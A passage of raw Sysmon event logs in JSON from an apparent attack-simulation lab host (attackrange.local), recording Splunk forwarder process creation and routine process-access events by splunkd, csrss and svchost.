Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:07.044","ProcessGuid":"{90617006-4067-5F2D-0000-001092E00400}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-3FE4-5F2D-0000-0010FE150200}","ParentProcessId":"2820","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2855,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:07.044\r\nSourceProcessGUID: {90617006-3FE4-5F2D-0000-0010FE150200}\r\nSourceProcessId: 2820\r\nSourceThreadId: 4076\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4067-5F2D-0000-001092E00400}\r\nTargetProcessId: 4364\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:07.044","SourceProcessGUID":"{90617006-3FE4-5F2D-0000-0010FE150200}","SourceProcessId":"2820","SourceThreadId":"4076","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4067-5F2D-0000-001092E00400}","TargetProcessId":"4364","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2856,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:07.044\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4067-5F2D-0000-001092E00400}\r\nTargetProcessId: 4364\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:07.044","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4067-5F2D-0000-001092E00400}","TargetProcessId":"4364","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:52:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2857,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:07.044\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:07.044","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2858,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:07.044\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:07.044","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2859,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:07.044\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:07.044","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2860,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:07.044\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:07.044","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2861,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:07.044\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:07.044","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:08","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:07","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2862,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:07.044\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:07.044","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4